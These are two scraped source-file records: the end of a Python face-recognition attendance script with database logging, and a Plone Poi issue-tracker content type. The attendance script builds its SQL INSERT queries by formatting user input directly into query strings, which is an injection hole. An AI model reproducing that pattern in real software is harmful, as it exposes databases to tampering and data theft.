(names[prediction[0]],prediction[1]),(x+0,y-20),cv2.FONT_HERSHEY_TRIPLEX,1,(0,255,255),2)\r\n                print(names[prediction[0]])\r\n                name_of_person=names[prediction[0]]\r\n                if name_of_person in register:\r\n                    cam.release()\r\n                    cv2.destroyAllWindows()  \r\n                    timing()\r\n                cnt=0\r\n                \r\n            else:\r\n                cnt+=1\r\n                cv2.putText(img,\"unknown\",(x-10,y-10),cv2.FONT_HERSHEY_TRIPLEX,1,(0,255,255),2) \r\n                if (cnt>100):\r\n                    print(\"Unknown Person\")   \r\n                    cv2.imwrite(\"unknown.png\",img)\r\n                    unknown_persons =\"unknown_persons\"    # pls mention the correct directory for unknown persons\r\n                    path = os.path.join(unknown_persons,name_check)\r\n                    if not os.path.isdir(path):\r\n                        os.mkdir(path)\r\n                        cv2.imwrite(\"%s/%s.png\"%(path,cnt),img)\r\n                    cam.release()\r\n                    cv2.destroyAllWindows()  \r\n                    cnt=0\r\n                    page_refresh()\r\n        cv2.imshow(\"Face authentication\",img)\r\n        key=cv2.waitKey(10)\r\n        if key==27:\r\n            break        \r\n\r\ndef intro():\r\n    print()\r\n    print(\"\\t\\t\\t\\t---------------------\")\r\n    print(\"\\t\\t\\t\\t       WELCOME\")\r\n    print(\"\\t\\t\\t\\t---------------------\")\r\n    print()\r\n    time.sleep(1)\r\n    Date = date.today().strftime(\"%d:%m:%y\")\r\n    print(\"Today's date : \",Date)\r\n\r\n    time.sleep(1)\r\n    hour=int(datetime.datetime.now().hour)\r\n    if hour>=0 and hour<=12:\r\n        print(\"Good morning\")\r\n    elif hour>=12 and hour<=18:\r\n        print(\"Good afternoon\")\r\n\r\n    face_authentication()\r\n        \r\ndef timing():\r\n    t = datetime.datetime.now().strftime(\"%H:%M:%S\")\r\n    if t > \"09:00:00\":\r\n        time.sleep(1)\r\n        print()\r\n        print(\"The time is\",t)\r\n        print(\"Its already late...,  Please type quickly\")\r\n        print()\r\n        late_commer()\r\n    else:\r\n        time.sleep(1)\r\n        print(\"The time is\",t,\"please type before 9am\")\r\n        print(\"or else u'll marked as a late comer\")\r\n        print()\r\n        correct_time()\r\n\r\ndef correct_time():\r\n    global name_of_person\r\n    global name\r\n    while True:         \r\n        time.sleep(1)\r\n        name = input(\"Enter your name                               :  \")\r\n        print()\r\n        print(\"wait a moment ....  checking for name verification\")\r\n        if name in register:\r\n            time.sleep(1)\r\n            print(\"------------------------------------------------\")\r\n            print(\" **  You are in the class register  **\")\r\n            print(\"------------------------------------------------\")\r\n        else:\r\n            time.sleep(2)\r\n            print()\r\n            print(\"You are not in the class register or You have already entered into the class\")\r\n            time.sleep(1)\r\n            print(\"Please check the database\")\r\n            intro()\r\n        time.sleep(1)\r\n        print()\r\n        \r\n        year = input(\"Enter your class ( For eg. I, II, III, IV )   :  \")\r\n        department = input(\"Enter your department                        :  \")\r\n        sec = input(\"Enter your section ( For eg. a,b,c .... )     :  \")\r\n\r\n        if name == name_of_person:\r\n            print()\r\n            print(\"Please wait...\")\r\n            time.sleep(1)\r\n            print(\"Permission granted   !!!\")\r\n            time.sleep(2)\r\n        else:\r\n            print(\"Access denied \")\r\n            time.sleep(1)\r\n            print(\"Please show your face properly or your face may not be registered in the dataset\")\r\n            print(\"Check the dataset folder in your directory\")\r\n            time.sleep(1)\r\n            intro()\r\n\r\n        timing = datetime.datetime.now().strftime(\"%H:%M:%S\")\r\n        if timing <= \"09:00:00\":\r\n            print()\r\n            print(\"You came to the class at correct time\")        \r\n        else:\r\n            print()\r\n            print(\"please come to the class before 9am  \")\r\n\r\n        query = \"insert into attendance values ('{}','{}','{}','{}','{}')\".format(name,year,department,sec,timing)\r\n        cur.execute(query)\r\n        con.commit()\r\n        time.sleep(1)\r\n        print()\r\n        print(\"Your details are stored in Database successfully\")\r\n        time.sleep(1)\r\n        print(\"please refresh the page for others to register their attendance\")\r\n        time.sleep(1)\r\n        print()\r\n        print(\"--------------------------\")\r\n        print(\"    Have a nice day : )\")\r\n        print(\"--------------------------\")\r\n        register.remove(name)\r\n        presenters.append(name)\r\n        page_refresh()\r\n\r\n\r\ndef page_refresh():\r\n    print()\r\n    print(\"1. Refresh\")\r\n    print(\"2. Register\")\r\n    print(\"3. Exit\")\r\n    choice = input(\"Enter your choice : \")\r\n    if choice == '1':\r\n        clear = lambda: os.system(\"cls\")\r\n        clear()\r\n        intro()\r\n    elif choice == '2':\r\n        attendance_register()\r\n    elif choice == '3':\r\n        print(\"Thank you\")\r\n        exit()\r\n    else:\r\n        print(\"You have entered the wrong choice\")\r\n        time.sleep(2)\r\n        print(\"Please choose the correct option\")\r\n        page_refresh()\r\n\r\ndef attendance_register():\r\n    print()\r\n    print(\"Present : \",presenters)\r\n    print()\r\n    print(\"Absentees : \",register)\r\n    absent = input(\"Do you want to store the absentees list ( y / n ) : \")\r\n    if absent == 'y':\r\n        absentees()\r\n    else:\r\n        print(\"Thank you\")\r\n    page_refresh()\r\n    \r\ndef late_commer():\r\n    global name\r\n    global name_of_person\r\n    while True:\r\n        time.sleep(1)\r\n        name = input(\"Enter your name                               :  \")\r\n        print()\r\n        print(\"wait a moment ....  checking for name verification\")\r\n        if name in register:\r\n            time.sleep(2)\r\n            print(\"**  You are in the class register  **\")\r\n        else:\r\n            time.sleep(2)\r\n            print(\"You are not in the class register or You have already entered into the class\")\r\n            time.sleep(1)\r\n            print(\"Please check the database\")\r\n            page_refresh()\r\n        time.sleep(1)\r\n        print()\r\n        \r\n        year = input(\"Enter your class ( For eg. I, II, III, IV )   :  \")\r\n        department = input(\"Enter your department                        :  \")\r\n        sec = input(\"Enter your section ( For eg. a,b,c .... )     :  \")\r\n        if name == name_of_person:\r\n            print()\r\n            print(\"Please wait...\")\r\n            time.sleep(1)\r\n            print(\"Permission granted   !!!\")\r\n            time.sleep(2)\r\n        else:\r\n            print(\"Access denied \")\r\n            time.sleep(1)\r\n            print(\"Please show your face properly or your face may not be registered in the dataset\")\r\n            print(\"Check the dataset folder in your directory\")\r\n            time.sleep(1)\r\n            intro()\r\n\r\n        timing = datetime.datetime.now().strftime(\"%H:%M:%S\")\r\n        if timing <= \"09:00:00\":\r\n            print()\r\n            print(\"You came to the class at correct time\")        \r\n        else:\r\n            print()\r\n            print(\"please come to the class before 9am  \")\r\n            \r\n        query = \"insert into attendance values ('{}','{}','{}','{}','{}')\".format(name,year,department,sec,timing)\r\n        cur.execute(query)\r\n        con.commit()\r\n        time.sleep(1)\r\n        print()\r\n        print(\"Your details are stored in Database successfully\")\r\n        time.sleep(1)\r\n        print(\"please refresh the page for others to register their attendance\")\r\n        time.sleep(1)\r\n        print()\r\n        print(\"--------------------------\")\r\n        print(\"    Have a nice day : )\")\r\n        print(\"--------------------------\")\r\n        register.remove(name)\r\n        presenters.append(name)\r\n        page_refresh()\r\n\r\ndef absentees():\r\n    global name\r\n    while True:\r\n        print()\r\n        for i in register:\r\n            if len(register) == 0:\r\n                break\r\n            else:\r\n                query = \"insert into absentees values ('{}')\".format(i)\r\n                cur.execute(query)\r\n                con.commit()\r\n        print(\"Absentees list added successfully\")\r\n        time.sleep(2)\r\n        page_refresh()\r\n    \r\nif __name__ == \"__main__\":\r\n    intro()\r\n\r\n","repo_name":"Logesh0007/Attendance-system-using-Face-recognition-with-database","sub_path":"mainfile.py","file_name":"mainfile.py","file_ext":"py","file_size_in_byte":10619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"1556739161","text":"__author__ = \"\"\"Martin Aspeli <optilude@gmx.net>\"\"\"\n__docformat__ = 'plaintext'\n\nfrom AccessControl import ClassSecurityInfo\nfrom Acquisition import aq_chain\n\nfrom Products.Archetypes.atapi import AttributeStorage\nfrom Products.Archetypes.atapi import BaseFolder\nfrom Products.Archetypes.atapi import BaseFolderSchema\nfrom Products.Archetypes.atapi import BaseObject\nfrom Products.Archetypes.atapi import DisplayList\nfrom Products.Archetypes.atapi import FileField\nfrom Products.Archetypes.atapi import FileWidget\nfrom Products.Archetypes.atapi import LinesField\nfrom Products.Archetypes.atapi import LinesWidget\nfrom Products.Archetypes.atapi import registerType\nfrom Products.Archetypes.atapi import RichWidget\nfrom Products.Archetypes.atapi import Schema\nfrom Products.Archetypes.atapi import SelectionWidget\nfrom Products.Archetypes.atapi import StringField\nfrom Products.Archetypes.atapi import StringWidget\nfrom Products.Archetypes.atapi import TextField\nfrom Products.Archetypes.atapi import IntegerField\nfrom Products.Archetypes.atapi import DateTimeField\nfrom Products.Archetypes.atapi import ReferenceField\nfrom Products.ATReferenceBrowserWidget.ATReferenceBrowserWidget import ReferenceBrowserWidget\ntry:\n    from collective.calendarwidget.widget import CalendarWidget\nexcept ImportError:\n    from Products.Archetypes.atapi import CalendarWidget\nfrom Products.CMFPlone.utils import safe_unicode\n\nfrom Products.Poi.interfaces.Issue import Issue\nfrom Products.CMFPlone.interfaces.NonStructuralFolder import \\\n    INonStructuralFolder\n\nfrom Products.Poi.config import DEFAULT_ISSUE_MIME_TYPE\nfrom Products.Poi.config import DESCRIPTION_LENGTH\nfrom Products.Poi.config import ISSUE_MIME_TYPES\nfrom Products.Poi.config import PROJECTNAME\nfrom Products.Poi.adapters import IResponseContainer\n\nfrom Products.Poi import permissions\nfrom Products.CMFDynamicViewFTI.browserdefault import BrowserDefaultMixin\nfrom Products.AddRemoveWidget.AddRemoveWidget import AddRemoveWidget\n\nfrom Products.CMFCore.utils import getToolByName\nfrom Products.CMFPlone.utils import getSiteEncoding\nimport transaction\n\nimport textwrap\nwrapper = textwrap.TextWrapper(initial_indent='    ', subsequent_indent='    ')\nfrom zope.interface import implements\nfrom Products.Poi.interfaces import IIssue\nfrom Products.Poi.interfaces import ITracker\nfrom Products.Poi import PoiMessageFactory as _\nfrom plone.memoize import instance\n\nschema = Schema((\n\n    StringField(\n        name='id',\n        widget=StringWidget(\n            visible={'view': 'invisible', 'edit': 'visible'},\n            modes=('view', ),\n            label='Id',\n            label_msgid='Poi_label_id',\n            i18n_domain='Poi',\n        ),\n        mode=\"r\"\n    ),\n\n    StringField(\n        name='title',\n        widget=StringWidget(\n            label=\"Title\",\n            description=\"Enter a short, descriptive title for the issue. A good title will make it easier for project managers to identify and respond to the issue.\",\n            label_msgid=\"Poi_label_issue_title\",\n            description_msgid=\"Poi_help_issue_title\",\n            i18n_domain='Poi',\n        ),\n        required=True,\n        accessor=\"Title\",\n        searchable=True\n    ),\n\n    StringField(\n        name='release',\n        default=\"(UNASSIGNED)\",\n        index=\"FieldIndex:schema\",\n        widget=SelectionWidget(\n            label=\"Version\",\n            description=\"Select the version the issue was found in.\",\n            condition=\"object/isUsingReleases\",\n            label_msgid='Poi_label_release',\n            description_msgid='Poi_help_release',\n            i18n_domain='Poi',\n        ),\n        required=True,\n        vocabulary='getReleasesVocab'\n    ),\n\n    TextField(\n        name='details',\n        allowable_content_types=ISSUE_MIME_TYPES,\n        widget=RichWidget(\n            label=\"Details\",\n            description=\"Please provide further details\",\n            rows=15,\n            allow_file_upload=False,\n            label_msgid='Poi_label_details',\n            description_msgid='Poi_help_details',\n            i18n_domain='Poi',\n        ),\n        required=True,\n        default_content_type=DEFAULT_ISSUE_MIME_TYPE,\n        searchable=True,\n        default_output_type=\"text/html\"\n    ),\n\n    TextField(\n        name='steps',\n        allowable_content_types=ISSUE_MIME_TYPES,\n        widget=RichWidget(\n            label=\"Steps to reproduce\",\n            description=\"If applicable, please provide the steps to reproduce the error or identify the issue, one per line.\",\n            rows=6,\n            allow_file_upload=False,\n            label_msgid='Poi_label_steps',\n            description_msgid='Poi_help_steps',\n            i18n_domain='Poi',\n        ),\n        default_output_type=\"text/html\",\n        default_content_type=DEFAULT_ISSUE_MIME_TYPE,\n        searchable=True\n    ),\n\n    FileField(\n        name='attachment',\n        widget=FileWidget(\n            label=\"Attachment\",\n            description=\"You may optionally upload a file attachment. Please do not upload unnecessarily large files.\",\n            label_msgid='Poi_label_attachment',\n            description_msgid='Poi_help_attachment',\n            i18n_domain='Poi',\n        ),\n        storage=AttributeStorage(),\n        write_permission=permissions.UploadAttachment\n    ),\n\n    StringField(\n        name='area',\n        index=\"FieldIndex:schema\",\n        widget=SelectionWidget(\n            label=\"Area\",\n            description=\"Select the area this issue is relevant to.\",\n            label_msgid='Poi_label_area',\n            description_msgid='Poi_help_area',\n            i18n_domain='Poi',\n        ),\n        enforceVocabulary=True,\n        default_method='getDefaultArea',\n        vocabulary='getAreasVocab',\n        required=True\n    ),\n\n    StringField(\n        name='issueType',\n        index=\"FieldIndex:schema\",\n        widget=SelectionWidget(\n            label=\"Issue type\",\n            description=\"Select the type of issue.\",\n            label_msgid='Poi_label_issueType',\n            description_msgid='Poi_help_issueType',\n            i18n_domain='Poi',\n        ),\n        enforceVocabulary=True,\n        default_method='getDefaultIssueType',\n        vocabulary='getIssueTypesVocab',\n        required=True\n    ),\n\n    ReferenceField(\n        name='references',\n        index=\"FieldIndex:schema\",\n        relationship='preceedes',\n        allowed_types='PoiIssue',\n        multiValued=True,\n        widget=ReferenceBrowserWidget( \n                label=\"subsequent issues\",\n                allow_browse=False,\n                allow_search=True,\n            )\n    ),\n\n    StringField(\n        name='severity',\n        index=\"FieldIndex:schema\",\n        widget=SelectionWidget(\n            label=\"Severity\",\n            description=\"Select the severity of this issue.\",\n            format=\"radio\",\n            label_msgid='Poi_label_severity',\n            description_msgid='Poi_help_severity',\n            i18n_domain='Poi',\n        ),\n        vocabulary='getAvailableSeverities',\n        default_method='getDefaultSeverity',\n        required=True,\n        write_permission=permissions.ModifyIssueSeverity\n    ),\n\n    StringField(\n        name='targetRelease',\n        index=\"FieldIndex:schema\",\n        widget=SelectionWidget(\n            label=\"Target release\",\n            description=\"Release this issue is targetted to be fixed in\",\n            condition=\"object/isUsingReleases\",\n            label_msgid='Poi_label_targetRelease',\n            description_msgid='Poi_help_targetRelease',\n            i18n_domain='Poi',\n        ),\n        vocabulary='getReleasesVocab',\n        default=\"(UNASSIGNED)\",\n        required=True,\n        write_permission=permissions.ModifyIssueTargetRelease\n    ),\n\n    StringField(\n        name='responsibleManager',\n        index=\"FieldIndex:schema\",\n        widget=SelectionWidget(\n            label=\"Responsible\",\n            description=\"Select which manager, if any, is responsible for this issue.\",\n            label_msgid='Poi_label_responsibleManager',\n            description_msgid='Poi_help_responsibleManager',\n            i18n_domain='Poi',\n        ),\n        vocabulary='getManagersVocab',\n        default=\"(UNASSIGNED)\",\n        required=True,\n        write_permission=permissions.ModifyIssueAssignment, \n        edit_accessor='getResponsibleManagerRaw'\n    ),\n\n    StringField(\n        name='contactEmail',\n        validators=('isEmail', ),\n        widget=StringWidget(\n            label=\"Contact email address\",\n            description=\"Please provide an email address where you can be contacted for further information or when a resolution is available. Note that your email address will not be displayed to others.\",\n            label_msgid='Poi_label_contactEmail',\n            description_msgid='Poi_help_contactEmail',\n            i18n_domain='Poi',\n        ),\n        required=False,\n        default_method='getDefaultContactEmail'\n    ),\n\n    LinesField(\n        name='watchers',\n        widget=LinesWidget(\n            label=\"Issue watchers\",\n            description=\"Enter the user names of members who are watching this issue, one per line. These members will receive an email when a response is added to the issue. Members can also add themselves as watchers.\",\n            label_msgid='Poi_label_watchers',\n            description_msgid='Poi_help_watchers',\n            i18n_domain='Poi',\n        ),\n        write_permission=permissions.ModifyIssueWatchers\n    ),\n\n    LinesField(\n        name='subject',\n        widget=AddRemoveWidget(\n            label=\"Tags\",\n            description=\"Tags can be used to add arbitrary categorisation to issues. The list below shows existing tags which you can select, or you can add new ones.\",\n            label_msgid='Poi_label_subject',\n            description_msgid='Poi_help_subject',\n            i18n_domain='Poi',\n        ),\n        searchable=True,\n        vocabulary='getTagsVocab',\n        enforceVocabulary=False,\n        write_permission=permissions.ModifyIssueTags,\n        accessor=\"Subject\"\n    ),\n\n    DateTimeField(\n        'deadline',\n        languageIndependent = True,\n        widget=CalendarWidget(\n            label=\"Deadline\",\n            description=(\"Date until this issues needs to be resolved.\"),\n            label_msgid=\"Poi_label_deadline\",\n            description_msgid=\"Poi_help_deadline\",\n            i18n_domain=\"Poi\",\n            with_time=1),\n    ),  \n\n    IntegerField(\n        name='progress',\n        widget=SelectionWidget(\n            label=\"Progress achieved\",\n            description=\"Select the amount of progress archieved for this issue.\",\n            label_msgid='Poi_label_progress',\n            description_msgid='Poi_help_progress',\n            i18n_domain='Poi',\n            format='select',\n        ),\n        required=False,\n        default=0,\n        vocabulary=DisplayList( [(p,'%d%%' % p) for p in range(0,110,10)] )\n    ),\n\n    StringField(\n        name='timeEstimate',\n        widget=StringWidget(\n            label=\"Time estimate\",\n            description=\"Enter the estimated time to resolve this issue in the format $Nd $Nh $Nm, e.g. 2d 1h 30m.\",\n            label_msgid='Poi_label_time_estimate',\n            description_msgid='Poi_help_time_estimate',\n            i18n_domain='Poi',\n        ),\n        validators=(\"timeestimate\",),\n        required=False,\n    ),\n\n),\n)\n\nPoiIssue_schema = BaseFolderSchema.copy() + \\\n    schema.copy()\n\n\nclass PoiIssue(BaseFolder, BrowserDefaultMixin):\n    \"\"\"The default tracker\n    \"\"\"\n    security = ClassSecurityInfo()\n    __implements__ = (getattr(BaseFolder, '__implements__', ()), ) + \\\n        (getattr(BrowserDefaultMixin, '__implements__', ()), ) + \\\n        (Issue, ) + (INonStructuralFolder, )\n    implements(IIssue)\n\n    # This name appears in the 'add' box\n    archetype_name = 'Issue'\n\n    meta_type = 'PoiIssue'\n    portal_type = 'PoiIssue'\n    allowed_content_types = ['PoiResponse']\n    filter_content_types = 1\n    global_allow = 0\n    content_icon = 'PoiIssue.gif'\n    immediate_view = 'base_view'\n    default_view = 'poi_issue_view'\n    suppl_views = ()\n    typeDescription = \"An issue. Issues begin in the 'unconfirmed' state, and can be responded to by project managers.\"\n    typeDescMsgId = 'description_edit_poiissue'\n\n\n    actions = (\n\n\n       {'action': \"string:${object_url}/view\",\n        'category': \"object\",\n        'id': 'view',\n        'name': 'View',\n        'permissions': (permissions.View, ),\n        'condition': 'python:1',\n       },\n\n\n       {'action': \"string:${object_url}/edit\",\n        'category': \"object\",\n        'id': 'edit',\n        'name': 'Edit',\n        'permissions': (permissions.ModifyPortalContent, ),\n        'condition': 'python:1'\n       },\n\n\n    )\n\n    _at_rename_after_creation = True\n\n    schema = PoiIssue_schema\n\n    schema.moveField('subject', after='watchers')\n\n    # Methods\n\n    security.declareProtected(permissions.View, 'getCurrentIssueState')\n    def getCurrentIssueState(self):\n        \"\"\"\n        Get the current state of the issue.\n\n        Used by PoiResponse to select a default for the new issue\n        state selector.\n        \"\"\"\n        wftool = getToolByName(self, 'portal_workflow')\n        return wftool.getInfoFor(self, 'review_state')\n\n    security.declareProtected(permissions.View, 'getAvailableIssueTransitions')\n    def getAvailableIssueTransitions(self):\n        \"\"\"\n        Get the available transitions for the issue.\n        \"\"\"\n        wftool = getToolByName(self, 'portal_workflow')\n        transitions = DisplayList()\n        transitions.add('', 'No change')\n        for tdef in wftool.getTransitionsFor(self):\n            transitions.add(tdef['id'], tdef['title_or_id'])\n        return transitions\n\n    security.declareProtected(permissions.View, 'toggleWatching')\n    def toggleWatching(self):\n        \"\"\"\n        Add or remove the current authenticated member from the list of\n        watchers.\n        \"\"\"\n        portal_membership = getToolByName(self, 'portal_membership')\n        member = portal_membership.getAuthenticatedMember()\n        memberId = member.getId()\n        watchers = list(self.getWatchers())\n        if memberId in watchers:\n            watchers.remove(memberId)\n        else:\n            watchers.append(memberId)\n        self.setWatchers(tuple(watchers))\n\n    security.declareProtected(permissions.View, 'isWatching')\n    def isWatching(self):\n        \"\"\"\n        Determine if the current user is watching this issue or not.\n        \"\"\"\n        portal_membership = getToolByName(self, 'portal_membership')\n        member = portal_membership.getAuthenticatedMember()\n        return member.getId() in self.getWatchers()\n\n    security.declareProtected(permissions.View, 'getLastModificationUser')\n    def getLastModificationUser(self):\n        \"\"\"\n        Get the user id of the user who last modified the issue, either\n        by creating, editing or adding a response to it. May return None if\n        the user is unknown.\n        \"\"\"\n        return getattr(self, '_lastModificationUser', None)\n\n    # Manually created methods\n\n    def getDefaultContactEmail(self):\n        \"\"\"Get the default email address, that of the creating user\"\"\"\n        portal_membership = getToolByName(self, 'portal_membership')\n        member = portal_membership.getAuthenticatedMember()\n        email = member.getProperty('email', '')\n        return email\n\n    def _renameAfterCreation(self, check_auto_id=False):\n        parent = self.getTracker()\n        maxId = 0\n        for id in parent.objectIds():\n            try:\n                intId = int(id)\n                maxId = max(maxId, intId)\n            except (TypeError, ValueError):\n                pass\n        newId = str(maxId + 1)\n        # Can't rename without a subtransaction commit when using\n        # portal_factory!\n        transaction.savepoint(optimistic=True)\n        self.setId(newId)\n\n    def Description(self):\n        \"\"\"Return the explicit description or the details.\n\n        If a description is set manually, return that.  Else returns\n        the first 200 characters (defined in config.py) of the\n        'details' field.\n\n        We must avoid returning a string in one case and a unicode in\n        a different case.  So we always return unicode.\n        See http://plone.org/products/poi/issues/135\n        \"\"\"\n        value = self.getField('description').get(self)\n        if not value:\n            value = self.getRawDetails()\n            if len(value) > DESCRIPTION_LENGTH:\n                value = value[:DESCRIPTION_LENGTH] + \"...\"\n        # Always return unicode.\n        if not isinstance(value, unicode):\n            encoding = getSiteEncoding(self)\n            value = safe_unicode(value, encoding)\n        return value\n\n    def getResponsibleManagerRaw(self):\n        \"\"\" Edit accessor for responsibleManager \"\"\"\n        return self.getField('responsibleManager').get(self)\n\n    def getResponsibleManager(self):\n        \"\"\" Returns the Responsible Manager \"\"\"\n        UNASSIGNED = '(UNASSIGNED)'\n        AREAMANAGER =  '(AREAMANAGER)'\n        value = self.getField('responsibleManager').get(self)\n        if value == AREAMANAGER:\n            area = self.getArea()\n            if not area:\n                return UNASSIGNED\n            else:\n                tracker = self.getTracker()\n                rfield = tracker.getField('availableAreas')\n                responsible = rfield.lookup(tracker, area, 'responsible')\n                managers = tracker.managers\n                if responsible and responsible in managers:\n                    return responsible\n                else:\n                    return UNASSIGNED\n        else:\n            return value\n\n\n    def validate_watchers(self, value):\n        \"\"\"Make sure watchers are actual user ids\"\"\"\n        membership = getToolByName(self, 'portal_membership')\n        notFound = []\n        for userId in value:\n            member = membership.getMemberById(userId)\n            if member is None:\n                notFound.append(userId)\n        if notFound:\n            return \"The following user ids could not be found: %s\" % \\\n                ','.join(notFound)\n        else:\n            return None\n\n    def getDefaultSeverity(self):\n        \"\"\"Get the default severity for new issues\"\"\"\n        tracker = self.getTracker()\n        return tracker.getDefaultSeverity()\n\n    def getDefaultIssueType(self):\n        \"\"\"Get the default issue type for new issues.\n\n        If there is only one possible issue type, we select this, else\n        we select nothing.\n        \"\"\"\n        vocab = self.getIssueTypesVocab()\n        if len(vocab) == 1:\n            return vocab[0]\n        return None\n\n    def getDefaultArea(self):\n        \"\"\"Get the default area for new issues.\n\n        If there is only one possible area, we select this, else\n        we select nothing.\n        \"\"\"\n        vocab = self.getAreasVocab()\n        if len(vocab) == 1:\n            return vocab[0]\n        return None\n\n    security.declarePublic('isValid')\n    def isValid(self):\n        \"\"\"Check if the response is valid.\n\n        Meaning: a response has been filled in.\n        \"\"\"\n        errors = {}\n        self.Schema().validate(self, self.REQUEST, errors, 1, 1)\n        if errors:\n            return False\n        else:\n            return True\n\n    security.declareProtected(permissions.View, 'getIssueTypesVocab')\n    def getIssueTypesVocab(self):\n        \"\"\"\n        Get the issue types available as a DisplayList.\n        \"\"\"\n        tracker = self.getTracker()\n        field = tracker.getField('availableIssueTypes')\n        return field.getAsDisplayList(tracker)\n\n    def getManagersVocab(self):\n        \"\"\"\n        Get the managers available as a DisplayList. The first item is 'None',\n        with a key of '(UNASSIGNED)'.\n        \"\"\"\n        tracker = self.getTracker()\n        items = tracker.getManagers()\n        vocab = DisplayList()\n        vocab.add('(UNASSIGNED)', _(u'None'), 'poi_vocab_none')\n        vocab.add('(AREAMANAGER)', _(u'Area Manager'), 'poi_vocab_area_manager')\n        for item in items:\n            vocab.add(item, item)\n        return vocab\n\n    security.declareProtected(permissions.View, 'getTagsVocab')\n    def getTagsVocab(self):\n        \"\"\"\n        Get the available areas as a DispayList.\n        \"\"\"\n        tracker = self.getTracker()\n        tags = tracker.getTagsInUse()\n        vocab = DisplayList()\n        for t in tags:\n            vocab.add(t, t)\n        return vocab\n\n    security.declareProtected(permissions.View, 'getReleasesVocab')\n    def getReleasesVocab(self):\n        \"\"\"\n        Get the vocabulary of available releases, including the item\n        (UNASSIGNED) to denote that a release is not yet assigned.\n        \"\"\"\n        vocab = DisplayList()\n        vocab.add('(UNASSIGNED)', _(u'None'), 'poi_vocab_none')\n        tracker = self.getTracker()\n        trackerVocab = tracker.getReleasesVocab()\n        for k in trackerVocab.keys():\n            vocab.add(k, trackerVocab.getValue(k), trackerVocab.getMsgId(k))\n        return vocab\n\n    def SearchableText(self):\n        \"\"\"Include in the SearchableText the text of all responses\"\"\"\n        text = BaseObject.SearchableText(self)\n        folder = IResponseContainer(self, None)\n        if folder is None:\n            return text\n        # old style:\n        responses = self.contentValues(filter={'portal_type': 'PoiResponse'})\n        text += ' ' + ' '.join([r.SearchableText() for r in responses])\n        # new style:\n        text += ' ' + ' '.join([r.text for r in folder if r])\n        return text\n\n    def notifyModified(self):\n        BaseFolder.notifyModified(self)\n        mtool = getToolByName(self, 'portal_membership')\n        member = mtool.getAuthenticatedMember()\n        self._lastModificationUser = member.getId()\n\n    security.declareProtected(permissions.View, 'getAreasVocab')\n    def getAreasVocab(self):\n        \"\"\"\n        Get the available areas as a DispayList.\n        \"\"\"\n        tracker = self.getTracker()\n        field = tracker.getField('availableAreas')\n        return field.getAsDisplayList(tracker)\n\n    def sendNotificationMail(self):\n        \"\"\"\n        When this issue is created, send a notification email to all\n        tracker managers, unless emailing is turned off.\n        \"\"\"\n        portal_url = getToolByName(self, 'portal_url')\n        portal = portal_url.getPortalObject()\n        portal_membership = getToolByName(portal, 'portal_membership')\n        plone_utils = getToolByName(portal, 'plone_utils')\n        charset = plone_utils.getSiteEncoding()\n        # We are going to use the same encoding everywhere, so we will\n        # make that easy.\n        def su(value):\n            return safe_unicode(value, encoding=charset)\n\n        fromName = portal.getProperty('email_from_name', None)\n        if isinstance(fromName, unicode):\n            fromName = fromName.encode(charset, 'replace')\n\n        tracker = self.getTracker()\n\n        issueCreator = self.Creator()\n        issueCreatorInfo = portal_membership.getMemberInfo(issueCreator)\n        issueAuthor = issueCreator\n        if issueCreatorInfo:\n            issueAuthor = issueCreatorInfo['fullname'] or issueCreator\n\n        issueText = self.getDetails(mimetype=\"text/x-web-intelligent\")\n        paras = issueText.splitlines()\n        issueDetails = '\\n\\n'.join([wrapper.fill(p) for p in paras])\n\n        addresses = tracker.getNotificationEmailAddresses()\n\n        mailText = _(\n            'poi_email_new_issue_template',\n            u\"\"\"A new issue has been submitted to the **${tracker_title}**\ntracker by **${issue_author}** and awaits confirmation.\n\nIssue Information\n-----------------\n\nIssue\n  ${issue_title} (${issue_url})\n\n\n**Issue Details**::\n\n${issue_details}\n\n\n* This is an automated email, please do not reply - ${from_name}\"\"\",\n            mapping=dict(\n                issue_title = su(self.title_or_id()),\n                tracker_title = su(tracker.title_or_id()),\n                issue_author = su(issueAuthor),\n                issue_details = su(issueDetails),\n                issue_url = su(self.absolute_url()),\n                from_name = su(fromName)))\n\n        subject = _(\n            'poi_email_new_issue_subject_template',\n            u\"[${tracker_title}] #${issue_id} - New issue: ${issue_title}\",\n            mapping=dict(\n                tracker_title = su(tracker.getExternalTitle()),\n                issue_id = su(self.getId()),\n                issue_title = su(self.Title())))\n\n        tracker.sendNotificationEmail(addresses, subject, mailText)\n\n    @instance.clearbefore\n    def setDetails(self, *args, **kwargs):\n        self.getField('details').set(self, *args, **kwargs)\n\n    @instance.clearbefore\n    def setSteps(self, *args, **kwargs):\n        self.getField('steps').set(self, *args, **kwargs)\n\n    @instance.memoize\n    def getTaggedDetails(self, **kwargs):\n        # perform link detection\n        text = self.getField('details').get(self, **kwargs)\n        tracker = self.getTracker()\n        return tracker.linkDetection(text)\n\n    @instance.memoize\n    def getTaggedSteps(self, **kwargs):\n        # perform link detection\n        text = self.getField('steps').get(self, **kwargs)\n        tracker = self.getTracker()\n        return tracker.linkDetection(text)\n\n    def getTracker(self):\n        \"\"\"Return the tracker.\n\n        This gets around the problem that the aq_parent of an issue\n        that is being created is not the tracker, but a temporary\n        folder.\n        \"\"\"\n        for parent in aq_chain(self):\n            if ITracker.providedBy(parent):\n                return parent\n        raise Exception(\n            \"Could not find PoiTracker in acquisition chain of %r\" %\n            self)\n\n    def getWholeDay(self):\n        \"\"\" Returns False  \"\"\"\n        # asked for by collective.calendarwidget\n        return False\n    \n    def _createIssue(self):\n        parent = self.getTracker()\n        id = self.generateUniqueId()\n        parent.invokeFactory(id=id, type_name='PoiIssue')\n        issue = getattr(parent, id)\n        return issue \n\n    security.declareProtected(permissions.ModifyPortalContent, 'createSubsequentIssue')\n    def createSubsequentIssue(self, REQUEST=None):\n        \"\"\"Creates a new issue and adds a reference from this issue to\n        the newly created issue. \n        \"\"\"\n        issue = self._createIssue()\n        references = self.getReferences()\n        references.append(issue)\n        self.setReferences(references)\n        issue.indexObject()\n        \n        if REQUEST:\n            return REQUEST.RESPONSE.redirect( '%s%s' % (issue.absolute_url(),\n                         self.getTypeInfo().getActionInfo('object/edit')['url']\n                                            ))\n        else:\n            return issue \n\n# XXX get rid of this modify_fti function.  We can do that in\n# types/PoiIssue.xml\n\ndef modify_fti(fti):\n    # Hide unnecessary tabs (usability enhancement)\n    for a in fti['actions']:\n        if a['id'] in ['metadata', 'sharing']:\n            a['visible'] = 0\n    return fti\n\nregisterType(PoiIssue, PROJECTNAME)\n# end of class 